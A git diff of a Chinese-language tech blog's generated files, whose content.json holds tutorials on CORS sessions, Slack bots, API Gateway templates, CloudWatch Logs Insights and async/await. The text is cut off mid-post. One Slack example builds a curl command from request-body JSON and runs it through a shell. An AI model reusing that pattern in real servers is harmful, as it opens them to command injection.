-
- 不用登入也能使用唷!
-
diff --git a/categories/index.html b/categories/index.html
index 7ab478ab0..81336162a 100644
--- a/categories/index.html
+++ b/categories/index.html
@@ -31,88 +31,88 @@
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
-
-
+
-
-
+
-
-
+
+
+
+
-
-
-
-
-
+
+
+
+
+
+
-
-
-
+
+
-
+
+
-
-
+
@@ -128,8 +128,8 @@
-
+
diff --git a/category-sitemap.xml b/category-sitemap.xml
index 1a2b30ea5..37efbc92f 100644
--- a/category-sitemap.xml
+++ b/category-sitemap.xml
@@ -7,14 +7,14 @@
- https://yu-jack.github.io/categories/Bot/
+ https://yu-jack.github.io/categories/Google/
2020-01-29T08:25:29.000Z
weekly
0.2
- https://yu-jack.github.io/categories/Google/
+ https://yu-jack.github.io/categories/Bot/
2020-01-29T08:25:29.000Z
weekly
0.2
diff --git a/content.json b/content.json
index b95928d22..af804cc4c 100644
--- a/content.json
+++ b/content.json
@@ -1 +1 @@
-{"pages":[{"title":"Archives","text":"","link":"/archive/index.html"},{"title":"All Tags","text":"","link":"/tags/index.html"}],"posts":[{"title":"前後端分離下之使用 session","text":"這邊主要在介紹當前後端架構上完全分離 (連 domain 都分離) 狀況下,要如何達到使用 session 的方法 知道 CORS 是什麼的人且想直接知道怎麼做可以直接跳到重點筆記 前言以往我們前後端程式是寫在一起時,都是透過後端程式去 render (渲染) 一個頁面而在前端頁面做請求的時候,請求都會帶著 cookie 到 server 上去判別是否屬於為同一個人但當我們在前後端完全分離的狀況下,該怎麼去達到這件事情呢? CORS瀏覽器有一個限制,當這個 request 請求起始的地方跟 endpoint 不一致得時候會造成所謂 CORS 的問題舉例來說,假設網站架設在 https://www.example.com 底下,但是你的 API Server 是在 https://www.example1.com 的話這樣網站 POST 到 API Server 的請求就會被阻擋 (這時 request 是從 html 頁面發起) 因為這個限制,API Server 往往要在 Header 上加上以下幾個東西去符合瀏覽器的規範 Access-Control-Allow-Headers Access-Control-Allow-Origin Access-Control-Allow-Methods 透過設置這三個 header 的參數,就可以讓前端合法的使用 API Server 了所以按照剛剛的邏輯去加上 Header 會這樣加Access-Control-Allow-Headers: *Access-Control-Allow-Origin: https://www.example.comAccess-Control-Allow-Methods: POST 然而在使用前後端分離的架構下,身份驗證以及授權就相對上就變得比較難一點雖然解法上還可以使用 JWT 去解決這個問題,但這篇文章主要會鎖定在用 sessino 的方式去解決 題外話,有一種方式也可以繞過 CORS,就是以 Proxy Server 的方式去實作以下用 Vue cli 裡面有一個 proxy 機制去說明 XHR Credential當加上以上三個 CORS 的規範後會發現在發出 request 的時候,是不會帶入 cookie 去給 server 做驗證 這時候就可以透過 xhr 裡面的 credential 去設定當把這個欄位設定成 true 的時候,request 就會夾帶 cookie 到 server 去 詳細操作說明提到前後端完全分離的話,那我們就要準備兩個 server一台 server 專門是讀取靜態 html 的 server一台 server 專門是處理 API 的 server html server透過 Node.js 快速建立一個可以讀取靜態檔案的 server 1234const express = require('express');const app = express();app.use(express.static(\"./public\"));app.listen(8888); 而 public/index.html 的內容為 123456789101112131415161718192021222324<!DOCTYPE html><html lang=\"en\"><head> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"> <title>Document</title></head><body> <script> let ajax = new XMLHttpRequest(); ajax.open('POST', 'http://localhost:7777/test'); ajax.setRequestHeader('Content-Type', 'application/json'); ajax.onload = function() { if (ajax.status === 200) { alert('Received ' + ajax.responseText); } }; ajax.send(JSON.stringify({ data: \"hi from html\" })); </script></body></html> api server另一台主要當作 api server主要就印出 session id 來觀看每一次的 request 是不是同一個人 12345678910111213141516171819202122232425262728293031const express = require('express');const app = express();const session = require('express-session')var sess = { secret: 'keyboard cat', cookie: {}, resave: true, saveUninitialized: false,}const bodyParser = require('body-parser');app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: true}));app.use(session(sess))app.use((req, res, next) => { res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With, Accept, Content-Type, Cookie\") res.setHeader(\"Access-Control-Allow-Origin\", \"*\") res.setHeader(\"Access-Control-Allow-Methods\", \"GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH\") next();})app.post('/test', (req, res) => { console.log(req.sessionID); req.session.a = \"hi\" res.json({a: 1})})app.listen(7777, () => { console.log('start');}); 實作透過執行以上的兩個 server 程式,寫後近到 http://localhost:8080 之後按下幾次重整,可以看到 api server 印出來的 session 每一次都是不同個 接下來就是要透過 xhr 的 credential 去設定在 ajax 送出之前要加上 ajax.withCredentials = true; 這樣才可以把 Cookie 夾帶上去但會發現瀏覽器卻爆出另一個錯誤訊息 The value of the ‘Access-Control-Allow-Credentials’ header in the response is ‘’ which must be ‘true’ when the request’s credentials mode is ‘include’ 這是前後端必須要同步都使用 credentials 才可以用於是在後端 server 加上 Access-Control-Allow-Credentials: true但再度重整之後又發現新的錯誤! The value of the ‘Access-Control-Allow-Origin’ header in the response must not be the wildcard ‘*’ when the request’s credentials mode is ‘include’. 其實這也是限制的一種,當使用到 credentials 的時候,後端必須多限制只有一個 domain 能使用Access-Control-Allow-Origin: http://localhost:8888這樣設定之後按幾次重整就會發現 session id 是一致的了 這邊要額外注意, 如果 Access-Control-Allow-Headers: * 會被瀏覽器阻擋因為瀏覽器政策關係, 是一定需要設定的, 否則會噴出以下錯誤 Access to XMLHttpRequest at ‘http://localhost:7777/test' from origin ‘http://localhost:8080' has been blocked by CORS policy: Request header field content-type is not allowed by Access-Control-Allow-Headers in preflight response. 重點筆記後端必須加上以下的 headers Access-Control-Allow-Headers: X-Requested-With, Accept, Content-Type, Cookie (各種前端要帶上來的 Header 皆需要設定) Access-Control-Allow-Origin: http://localhost:8888 只能指定一個 domain,不能用 * 字號 Access-Control-Allow-Methods: * Access-Control-Allow-Credentials: true 1, 3 兩點根據需要使用的 method 和 headers 再去客製化瀏覽器上 header 是不允許填入 * 的但是 method 可以,但建議上填有用到的就好 前端則是必須在 xhr 上面加上 xhr.withCredentials = true 後記以上為簡單介紹如何在前後分離架構下依舊可以使用 session 的方式而文章有提到 JWT,那是另一種驗證及授權方式,有機會再來談談這個技術實作的方式","link":"/2019/06/02/ajax-with-session/"},{"title":"Slack Bot","text":"在開始玩弄 Slack Bot 之前,必須要先去申請頁面建立一個 APP 申請完之後,可以看到 Features 那邊有很多不同的功能這次主要會針對 Slash Command、Incoming Webhooks 以及 Interactive Components 做練習 在開始正式介紹之前,我們可以思考一個情境身為工程師,就是會想要降低人工干涉的事情,大量自動化那今天,我想要自動部署我的 server 的話,可以怎麼做呢? 這裡可以透過 Slash Command + Incoming Webhooks 做到,步驟如下 在 Slack 上面打上 /deploy ticket master (用 Slash Command 通知 server) Server 就會接收到需要 deploy tickey server,然後切換到 master branch 上面 pull 最新版本之後,完成此次更新 通知公司同仁,更新已結束 (用 Incoming Webhooks 通知) 這流程就會是我們所想要的,當然中間還可以透過 jenkins 去部署其他台伺服器用 slack 部署 server,超方便 der (但感覺拿來訂便當更好用 XD Slash Command介紹Slash Command 就是在 Slack 的聊天室下指令,例如1/deploy server就會觸發到遠端伺服器,伺服器解析 command 後,再去近一步做一些行為 建立新指令下圖就是設定 Slash Command 的地方我們設定了 command 為 /test,然後會用 POST 觸發到遠端的 https://your.website.com/test 比較重要的地方是,Request URL 一定要是 HTTPS,如果不是 HTTPS 一律拒絕,在 Slack 官方文件上面有以下這段說明 NOTE: If your Slack app is set to be distributable or is part of the Slack app directory, the URL you provide must be use HTTPS with a valid, verifiable SSL certificate. Self-signed certificates cannot be used. See below for more information. 按下 Save 之後,回到頁面會看到,就代表建立完成了 安裝進到你的 team按下 Install App to Workspace,就會到授權頁面,然後點下 Authorize 即可安裝完成 安裝後在 channel 會出現訊息,通知說已經把 App 加入進來了 這時候在聊天室裡面打下 /test 會出現我剛剛建立的 command 和 Description不過輸入之後,並不會有任何反應,原因是因為我們還沒有設置好伺服器端的設定 開始寫程式去接受 slash command這邊用 nodejs 示範建立一個簡單的伺服器去接受 slash command SSL 的建立容許我這邊就不做示範了 XD (有點麻煩 123456789101112131415161718const express = require('express');const app = express();const bodyParser = require('body-parser');app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: false}));app.post('/test', (req, res, next) => { console.log(req.body); console.log(`User : ${req.body.user_name}`); console.log(`Text : ${req.body.text}`); console.log(`Command : ${req.body.command}`); return res.json({ text: 'Command is successful' })})app.listen(8080) 在輸入視窗輸入以下指令後 1/test Hi I'm from slack 伺服器端會得到 完整的 JSON 格式如下1234567891011121314// 敏感資訊我都以 X 先馬掉了{ token: 'XXXXXXXXXXXXXXXXXXXXXXX', team_id: 'XXXXXXXXX', team_domain: 'XXXXXX', channel_id: 'XXXXXXXXX', channel_name: 'announcement', user_id: 'XXXXXXXXX', user_name: 'yujack', command: '/test', text: 'Hi I\\'m from slack', response_url: 'XXXXXXXXXXXXXX', trigger_id: 'XXXXXXXXXXXXXX' } 而在輸入窗那邊會看到 代表指令有成功到伺服器上面了,然後回傳一個 “Command is successful”指令完成後,一定會想問一個問題 『我想要通知其他人,我觸發了這個指令,我不想要只有我看到,那我該怎麼做?』 這時候就是下一個功能 Incoming Webhooks Incoming Webhooks介紹Incoming Webhook,可以直接讓你用 curl 的方式去發訊息到某一個 chaneel 裡面 啟用啟用 Incoming Webhooks 功能 啟用之後,會在下面看到一個範例,還有新增 Webhook 的地方 點選 “Add New Webhook to Workspace”,會到授權頁面這裡會出現,你想要把訊息可以傳送到哪一個地方那這裡我就選擇 general 作為範例 使用在 terminal 貼上以下指令 1curl -X POST -H 'Content-type: application/json' --data '{\"text\":\"Hello, World!\"}' https://hooks.slack.com/services/XXXXXXXX 在你設定要傳送的那個 channel 就會出現訊息了 那有了這個 Webhooks 之後,剛剛的 nodejs server 就可以稍微做更改這樣的話就可以告訴那一個 channel 的人說,你執行了什麼樣的指令 ~ 12345678910111213141516171819202122232425262728293031const express = require('express');const app = express();const bodyParser = require('body-parser');app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: false}));app.post('/test', (req, res, next) => { console.log(req.body); console.log(`User : ${req.body.user_name}`); console.log(`Text : ${req.body.text}`); console.log(`Command : ${req.body.command}`); const command = `curl -X POST ` + `-H 'Content-type: application/json' ` + `--data '${JSON.stringify(req.body.slack_message)}' ` + `https://hooks.slack.com/services/XXXXXXXXX`; exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } return res.json({ text: 'Command is successful' }) })})app.listen(8080) 到這裡不禁會想到一個問題,我能不能不把 branch 記起來我直接讓 server 告訴我,我在選一個我想要的去 deploy 呢? 這時候,Interactive Components 就派上用場了這個功能可以接收使用者選擇了什麼選項,然後進一步去分析接下來就要介紹 Interactive Components Interactive Components介紹這是一個互動式的功能,在 Slack 上面可能會跳出 Message Button : 例如是否同意這個意見? Menus : 例如訂 A 便當 or B 便當? Dialogs : 例如通知? 當使用者點選了某一個按鈕或是選擇了其中一個選項就會 post 到 server 上,跟 server 說使用者做了什麼選擇學會 Interactive Componet 之後,我們自動化流程就可以改成 在 Slack 上打 /show ticket (用 Slash Command 通知 server) Server 回傳 ticket server 所有的 branch (用 Incoming Webhooks 通知) 使用者點選其中一個 branch 進行 deploy (用 Interactive Components 接收使用者點選哪一個 branch) Server 就會接收到需要 deploy tickey server,然後切換到 master branch 上面 pull 最新版本之後,完成此次更新 通知公司同仁,更新已結束 (用 Incoming Webhooks 通知) 啟用 使用在使用 Interactive Componets 之前,要先學會如何製作選項或是按鈕給使用者點選Slack 官方有提供地方可以客製化不同的按鈕或是表單的地方,點這進去我客製化了這個訊息 123456789101112131415{ \"text\": \"Would you like to play a game?\", \"attachments\": [{ \"text\": \"Choose a game to play\", \"fallback\": \"You are unable to choose a game\", \"callback_id\": \"wopr_game\", \"attachment_type\": \"default\", \"actions\": [{ \"name\": \"game\", \"text\": \"Chess\", \"type\": \"button\", \"value\": \"chess\" }] }]} 拿到訊息之後,利用 Incoming Webhooks 送出到使用者端給使用者點選 點選之後伺服器會發 POST 到 https://your.website.com/interactive伺服器就會收到以下資訊 12345678910111213141516171819202122232425262728293031323334353637383940414243444546// Before JSON.Parse{ payload: '{\"actions\":[{\"name\":\"game\",\"type\":\"button\",\"value\":\"chess\"}],\"callback_id\":\"wopr_game\",\"team\":{\"id\":\"XXXXXXXXX\",\"domain\":\"XXXXXX\"},\"channel\":{\"id\":\"XXXXXXXXX\",\"name\":\"general\"},\"user\":{\"id\":\"XXXXXXXXX\",\"name\":\"yujack\"},\"action_ts\":\"1507970582.644321\",\"message_ts\":\"1507970575.000002\",\"attachment_id\":\"1\",\"token\":\"XXXXXXXXXXXXXXXXXXXXXXX\",\"is_app_unfurl\":false,\"type\":\"interactive_message\",\"original_message\":{\"text\":\"Would you like to play a game?\",\"bot_id\":\"XXXXXXXXX\",\"attachments\":[{\"callback_id\":\"wopr_game\",\"fallback\":\"You are unable to choose a game\",\"text\":\"Choose a game to play\",\"id\":1,\"actions\":[{\"id\":\"1\",\"name\":\"game\",\"text\":\"Chess\",\"type\":\"button\",\"value\":\"chess\",\"style\":\"\"}]}],\"type\":\"message\",\"subtype\":\"bot_message\",\"ts\":\"1507970575.000002\"},\"response_url\":\"https:\\\\/\\\\/hooks.slack.com\\\\/actions\\\\/XXXXXXXXX\\\\/XXXXXXXXX\\\\/XXXXXXXXXXXXXXXXXXXXXXXXX\",\"trigger_id\":\"XXXXXXXXX.XXXXXXXXX.XXXXXXXXXXXXXXXXXX\"}'}// After JSON.parse{ payload: { actions: [{ name: 'game', type: 'button', value: 'chess' }], callback_id: 'wopr_game', team: { id: 'XXXXXXXXX', domain: 'XXXXXX' }, channel: { id: 'XXXXXXXXX', name: 'general' }, user: { id: 'XXXXXXXXX', name: 'yujack' }, action_ts: '1507970582.644321', message_ts: '1507970575.000002', attachment_id: '1', token: 'XXXXXXXXXXXXXXXXXXXXXXX', is_app_unfurl: false, type: 'interactive_message', original_message: { text: 'Would you like to play a game?', bot_id: 'XXXXXXXXX', attachments: [ [Object] ], type: 'message', subtype: 'bot_message', ts: '1507970575.000002' }, response_url: 'https://hooks.slack.com/actions/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXXX', trigger_id: 'XXXXXXXXX.XXXXXXXXX.XXXXXXXXXXXXXXXXXX' }} 按鈕會消失,然後顯示你在 server 上面回傳的完成資訊收到資訊之後,就可以知道使用者點選了什麼按鈕或是選擇了什麼選項根據這些選項伺服器在做一些處理就可以完成了 伺服器上面的程式會長這樣 (這邊單純印出來而已,沒有做後續處理 123456app.post('/interactive', (req, res, next) => { console.log(req.body); return res.json({ text: 'Command is successful' })}) 結論我用了一個情境讓大家比較好思考如何把這三個功能串起來雖然我還是覺得用在訂便當上面很方便就是了 (? 不過有些細部關於真正如何部署或是 SSL 的部分這裡就不會說明了那個會需要花到一兩篇文章的篇幅去介紹 如果有任何問題,請歡迎一起來討論 ~","link":"/2017/10/14/Slack-Bot/"},{"title":"How to use mapping template with API Gateway in AWS","text":"[Update] 2017-11-08 原本文章的 mapping 方式再依些特別狀況會出錯,在文章最下面加入了最新的 mapping 方式 最近需要在 API Gateway 上面作 request 和 response 的參數調整這裡紀錄一下一些基本的使用語法官方網站也有提供使用方式還有一些例子或是可以直接到 Apache Velocity Template Language if else1234567{ #if ($variable == "cool") "variable" : "$variable" #else if ($variable == "hot") "variable" : "$variable" #end} 如果參數是 cool 的話,顯示出來是123{ \"variable\": \"cool\"} type以上一個 case 來說,把 variable 改成是 1123{ "variable": "$variable"} 這樣顯示出來會是123{ \"variable\": \"1\"} 但是如果改成這種格式123{ "variable": $variable}這樣顯示出來會是123{ \"variable\": 1} 這邊要注意的是,如果格式是以下這樣,然後參數是 “test”123{ "variable": $variable}這樣顯示出來會是1234{ // 這會直接讓 API Gateway mapping template 直接爆炸 \"variable\": test} key如果把 $variable 設成 “test”,並用以下的 template123{ "$variable": "$variable"}結果會是123{ \"test\": \"test\"} foreach and keySet資料如下123456789101112{ \"data\": { \"book\": [{ \"title\": \"cool\", \"serial\": 123 }, { \"title\": \"hot\", \"serial\": 321 }] }, \"comment\": \"Hi\"} 我想要把他轉換成以下的格式,該怎麼用 mapping template12345678910{ \"book_library\": [{ \"name\": \"cool\", \"number\": 123 }, { \"name\": \"hot\", \"number\": 321 }], \"message\": \"Hi\"} mapping template 可以這樣寫12345678910111213141516171819202122232425262728293031323334353637#set($root = $input.path(\"$\")){ // keySet 可以拿到這層所有的 key // 這裡可以拿到 data 和 comment ($rootKey) #foreach($rootKey in $root.keySet()) #if($rootKey == \"data\") \"book_library\": [ #foreach($elem in $root.get($rootKey)) { // 這層可以達到 title 和 serial #foreach($i in $elem.keySet()) #if($i == \"title\") \"name\": \"$elem.get($i)\" #elseif($i == \"serial\") // 因為要讓這裡是數字,所以不加上雙引號 \"number\": $elem.get($i) #end #if($foreach.hasNext),#end #end } #if($foreach.hasNext),#end #end ] #elseif ($rootKey == \"comment\") \"message\": \"$root.get($rootKey)\" #end // 這是為了讓 // { // \"test\": 123 // } // 最後面的 123 加逗點用的 // 如果是會後一個,就不會加逗點了 #if($foreach.hasNext),#end #end} 更好的寫法在 aws 官網中,除了拿到 raw payload 之外還可以利用 $input.json() 的寫法拿到格式更完整的資料因為在原本的方式中,如果拿到的字串包含 \\n,這會讓 API Gateway 爆炸雖然可以透過 $util.escapeJavaScript 的方式避免但在每一個地方都加上 $util.escapeJavaScript 也是很蠢所以新的寫法會像是這樣 第一個地方是 #set($count = $foreach.count - 1) 這是為了拿到 index 第二個地方寫法就比較特別,拿到 index 之後,$input.json($) 這樣是拿到整個 payload (JSON)如果 $rootKey = 'book_library' 那這樣寫$input.json("$['$rootKey']") 等於 $input.json("$['book_library']") 的寫法,就可以拿到陣列了。那如果要拿第一個的話$input.json("$['$rootKey'][0]") 這樣就能拿到, 如果用變數取代的話,可以寫成$input.json("$['$rootKey'][$count]")拿到陣列後,要拿陣列裡面的物件就可以這樣寫$input.json("$['$rootKey'][0]['$i']") 等同於 $input.json("$['$rootKey'][0]['title']") 第三個就是讓剩餘的都直接拿出來就結束了 要特別注意的點是,不用加上 “” 在 $input.json() 外面了因為用 $input.json() 拿的已經是完整格式了String 就是 String,不用像上面的方式還要加上 “” 去讓他變成字串Boolean Int 等等全部都是,也不用擔心 \\n 這個出現1234567891011121314151617181920212223242526272829303132333435363738394041424344#set($root = $input.path(\"$\")){ // keySet 可以拿到這層所有的 key // 這裡可以拿到 data 和 comment ($rootKey) #foreach($rootKey in $root.keySet()) #if($rootKey == \"data\") \"book_library\": [ #foreach($elem in $root.get($rootKey)) { // ============= Here ================= #set($count = $foreach.count - 1) // ============= Here ================= // 這層可以達到 title 和 serial #foreach($i in $elem.keySet()) // ============= Here ================= #if($i == \"title\") \"name\": $input.json(\"$['$rootkey'][$count]['$i']\") #elseif($i == \"serial\") \"number\": $input.json(\"$['$rootkey'][$count]['$i']\") #end // ============= Here ================= #if($foreach.hasNext),#end #end } #if($foreach.hasNext),#end #end ] #elseif ($rootKey == \"comment\") // =============== Here ============== \"message\": $input.json(\"$.$rootkey\") // =============== Here ============== #end // 這是為了讓 // { // \"test\": 123 // } // 最後面的 123 加逗點用的 // 如果是會後一個,就不會加逗點了 #if($foreach.hasNext),#end #end}","link":"/2017/10/24/api-gateway-mapping-template/"},{"title":"使用 Apple Pay 時 Safari 如何開啟開發者模式去 Debug 呢?","text":"有時候在使用類似 Apple Pay 的東西並不知道該如何去看手機中 Safari 的偵錯然後就會愣在那裡,並不知道該怎麼 Debug今天要跟各位來介紹如何在 iPhone 上面開啟 Safari 的開發者模式 前提首先要確認 iPhone 手機上面的 Safari > 進階 > 網頁檢閱器 是否有打開才可以喔!沒有打開的話是不能使用 Develop Debug mode 整體流程 把你的 iPhone 線接到 Mac 上 在手機上面開起 Safari,然後打開一個頁面 開啟 Mac 上的 Safari 左上選單選擇 『開發者』(Develop) 下面會有你手機的名稱,點下去就會看到手機 Safari 頁面 接下來會跳出 Safari 的開發者模式,就可以繼續 Debug 拉 ~","link":"/2018/04/21/apple-debug/"},{"title":"AWS Certificate Manager 如何更換憑證 (Reimport Certificate)","text":"前言AWS 有提供一套服務可以把申請好的憑證一次給多個服務使用掛載在上面的憑證可以給 load balanacer, cloudfront 等等使用 以 load balancer 來說外面 https:443 進來後,要導入到 http:8080 的服務就會需要把憑證解開,然後進一步把流量往裡面送所以在 load balancer 上面就一定要掛載 private/public key 才有辦法去解開進來的流量像是在選 load balancer 的頁面,選擇 port forwarding 的時候就會需要選擇要掛載哪一個 certificate 而在 cloudfront 的時候在申請的同時也會需要填入要用哪一組憑證 (Customer Certificate) 當選入憑證的時候,Cloudfront 配給你的 domain 是 xxxxx.cloudfront.net 這種但憑證假設安裝的事 api.example.com 這種,會導致不安全的提示出現此時會需要到網域註冊商,把 CNAME api 指到 xxxxx.cloudfront.net到時候瀏覽 api.exmaple.com 就會出現合法的憑證了 如何更新憑證首先要進入到 AWS 的 Certificate Manager 頁面,並且點選你想要 Reimport 的憑證右上角會有一個藍色的『Reimport Certificate』按鈕,點選下去會到一個輸入頁面 到了輸入頁面會看到有 Certificate Body, Certificate Private Key, Certificate Chain接下來就把跟網域註冊商申請到的憑證一個一個貼上去即可,注意這裡要是 PEM 格式 其實在新增憑證的時候,也是一模一樣的流程","link":"/2020/01/06/aws-certificate-manager/"},{"title":"AWS CloudWatch Logs Insights 介紹及教學","text":"前言AWS CloudWatch 是一個可以監控日誌用以及伺服器狀態等等的服務其他還有像是 Alarm Events 都是從以下兩個大項目延伸出去的額外功能這邊就先不多作介紹,之後會寫在其他篇幅做介紹那 CloudWatch 主要包含以下兩個大項目 Metric 紀錄了 AWS 上面服務的狀態 包含 EC2 的 CPU、網路使用量、記憶體用量和硬碟大小 API Gateway API Call Count、RDS CPU 用量等等 針對用量還可以去做 Alarm 發信,或是觸發 Lambda 等等的功能 記憶體和硬碟大小需要額外設定可以參考 https://docs.aws.amazon.com/zh_tw/AWSEC2/latest/UserGuide/mon-scripts.html Log 存放 Log 的地方,伺服器的 access log 或是程式的 log 又或是 audit log 等等,基本上想看的 log 可以推上來做分析以及整理 除此之外,s3 其實也是一個放 log 的好地方 但 s3 的缺點是不能夠很便利的去線上觀看 log 今天主要介紹的是 CloudWatch Logs Insights 功能透過 Insights 可以有效地查詢 Log 裡面的資料甚至還可以做統計以及剖析 Log 裡面的字串進行字串統計 使用方式範例一 - like123fields @timestamp, @message| sort @timestamp desc| filter @message like "Your Wanted Message" 第一行 fileds 主要指定最後出現的欄位會有什麼第二行 sort 是根據 timestamp 進行由大至小的排序第三行 filter 是針對 @message 的內容去搜尋 最後只會顯示跟 like 後面有關的字串的結果而已 這邊要另外注意的事情是,每一個指令都是有順序性的以上面第三行的結果來說假設第四行再下了一個 filter @message like "blablabla一個跟前面完全沒有關係的訊息是找不到的因為在第三行就把所有訊息都過慮剩下只有 “Your Wanted Message”所以在第四行針對 “Your Wanted Message” 去搜尋 “blablabla” 當然就不會出現任何結果 範例二 - @logStream在整個操作 UI 上最上面會有一個可以選 logGroup 的地方但卻沒有選 logStream 的地方 此時會需要透過 filter 加上 @logStream 的方式才能找單獨的 stream12fields @timestamp, @message| filter @logStream = "Access Logs" 範例三 - parse假設今天要處理 access log 的 path 做統計的話字串有一段內容是 “GET /login HTTP/1.1”我想要 parse 出 /login 的話該怎麼做呢?123fields @timestamp, @message| sort @timestamp desc| parse '"GET * HTTP/1.1' as @path第三行 透過 parse 指令加上 * 可以把 * 的地方變成一個變數指定到 as 後面的變數去這裡變數要不要加 @ 都可以,結果如下: 那如果想要 parse 兩個變成變數呢?很簡單,就是再多加一個 * 字號在後面即可| parse '"GET * */1.1' as @path, @protocol 範例四 - stats count()以前面的例子來說我想知道在短時間內有幾個 login 的話可以透過 stats 的指令去做統計12345fields @timestamp, @message| filter @logStream = "Access Logs"| sort @timestamp desc| parse '"GET * */1.1' as @path, @protocol| stats count(*) as sum by @path第五行 透過 by 指令去 group by 用哪一個參數當作目標去做計算 當然一樣可以多個 | stats count(*) as sum by @path, @protocol 後記以上介紹一些個人比較常用的指令,官網還有很多非常好用的指令詳細有興趣可以到官網上查查看https://docs.aws.amazon.com/zh_tw/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html","link":"/2019/11/28/aws-cloudwatch-logs-insights/"},{"title":"如何不用 try-catch 去寫 async/await","text":"前言在上一篇有討論到如何去寫 async/await 的 try-catch 比較好那這篇會注重在另一種在最外層不需要 try-catch 的寫法上 那因為用 try-catch 和不用 try-catch 的場景比較不一樣 (最外層)最後面會去比較這兩種寫法的優劣 寫法一先來複習之前提到過的寫法 123456789101112131415161718192021222324252627282930313233343536function test1() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test1 have error.\") }, 1000) })}function test2() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test2 have error.\") }, 1000) })}function test3() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test3 have error.\") }, 1000) })}async function main() { try { let result result = await test1(); console.log(result); result = await test2(); console.log(result); result = await test3(); console.log(result); } catch (error) { console.log(\"get error\"); }}main() 可以看到透過用 Promise 裡面 reject 的方法, 可以客製每一個回傳的錯誤訊息但 … 如果我不想讓程式執行到 reject 的時候跳到 catch 的地方 (第 33 行), 該怎麼做? 寫法二這邊程式邏輯是 test1 執行完, 就算有錯誤, 我還是依舊要執行並且把 test1 的錯誤帶到 test2 去執行 新的寫法透過解構 Array 的方式可以達成此目的 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647async function to(promise) { return promise.then(result => [null, result]).catch((error) => [error, null])}function test1() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test1 have error.\") }, 1000) })}function test2(data) { return new Promise((res, rej) => { setTimeout(() => { console.log(\"test2 handle data: \" + data); rej(\"test2 have error.\") }, 1000) })}function handleTest1ResultIsNull(error) { console.log(\"handleTest1ResultIsNull's error message \" + error); return \"someConditionalValue\"}async function main() { let error, result [error, result] = await to(test1()); console.log(\"result: \" + result); if (error) { console.log(\"get error-1\"); console.log(error); } if (!result) { result = handleTest1ResultIsNull(error); } [error, result] = await to(test2(result)); console.log(\"result: \" + result); if (error) { console.log(\"get error-2\"); console.log(error); return; }}main() 注意到段程式碼透過傳進去一個 promise 並使用 then 去取得回傳值當 catch 發生得時候, 透過 return 的方法, 讓此 promise 不會直接噴出錯誤, 而是正常回傳值123async function to(promise) { return promise.then(result => [null, result]).catch((error) => [error, null])} 然後透過解構 Array 的方式可以取得回傳值這樣即使 test1 的 promise 是丟出一個錯誤, 透過此 warpper function就可以達成就算有錯誤, 程式還是依舊繼續執行下去 1let [result, result] = await to(test1()); 但這裡帶來一個問題, 如果程式邏輯是 test1 正確的時候回傳 A 值, 錯誤的時候給一個 default 值這樣其實不用特別寫一個 wrapper function, 只要稍微更改 test1 裡面的邏輯即可 寫法三這裡可以看到 test1 裡面改成, 當某一個 error 出現時特別去處理此 error, 然後在用 resolve 讓此 promise 正常回傳而不要丟出 error 12345678910111213141516171819202122232425262728293031323334353637383940function test1() { return new Promise((res, rej) => { let error = \"test1 have error\"; setTimeout(() => { if (error) { res(handleTest1ResultIsNull(error)) } else { res(\"success\") } }, 1000) })}function test2(data) { return new Promise((res, rej) => { setTimeout(() => { console.log(\"test2 handle data: \" + data); rej(\"test2 have error.\") }, 1000) })}function handleTest1ResultIsNull(error) { console.log(\"handleTest1ResultIsNull's error message\" + error); return \"someConditionalValue\"}async function main() { try { let result result = await test1(); console.log(\"result: \" + result); result = await test2(result); console.log(\"result: \" + result); } catch (error) { console.log(\"get error\"); console.log(error); }}main() 比較開始來比較一下兩種寫法的優劣 Wrapper function透過此 wrapper function 是可以方便程式撰寫的時候判斷方法可以清楚地去判斷此 error 要 log 什麼, 要不要停止執行, 或是要繼續往下都是非常彈性的但缺點就是, 你會寫一堆 if (error) 判斷這在這種寫法上是無可避免的 123async function to(promise) { return promise.then(result => [null, result]).catch((error) => [error, null])} 另外有另一種寫法也可以有一樣的效果就是把 wrapper function 直接寫在 await 後面一樣可以達到效果1let [error, result] = await test1().then(result => [null, result]).catch(error => [error, null]); try-catch block透過 try-catch block 可以輕鬆直接在 catch 的時候去統一處理 error但前提是你每一個 promise 裡面的 error 要事先處理好, 而不是交由最外層的 try-catch 去處理只是使用者這種方法, 如果 promise 裡面有 error, 但還想要繼續執行就必須透過 resolve 的方式去更改程式邏輯, 這點在這也是無可避免的 12345try { await test1()} catch (error) { console.log(error)} 總結兩種寫法應用場景其實不太一樣如果邏輯之間是第一個成功, 第二個才能繼續這種, 就很適合使用 try-catch block因為你前面錯誤發生, 就直接讓跳出去, 也不需要繼續執行了 但如果是不管第一個是否成功, 第二個都要繼續執行 (根據第一個執行的結果去處理)就適合用此文提到的 wrapper function 不過要注意一下商業邏輯的部分, 以剛剛的寫法三的例子是因為 function 回傳值就只有兩種, 所以才可以透過寫法三去修改, 就又變成 try-catch 的形式只是這種改底層的方式, 如果此 function 在其他地方邏輯是, 此 function 成功後才能繼續往下跑其他 function這樣有可能會讓其他地方邏輯爆掉, 請特別注意這件事 但如果商業邏輯是不管第一個是否成功, 第二個都要執行這種 (不根據第一個執行的結果去處理)其實在寫程式設計上, 這兩種邏輯理論上是可以被拆開的因為這兩個是毫無相關性的, 就不用硬寫在同一個地方 References How to write async await without try-catch blocks in Javascript","link":"/2020/05/04/async-error-handle/"},{"title":"如何增加 EC2 硬碟大小 (Expand the disk space in EC2)","text":"前言在使用 AWS 服務時,有時候會因為 log 量太大導致硬碟大小不夠此時會需要把硬碟增加大小,以免整台機器爆掉接下來會針對如何增加硬碟大小做說明 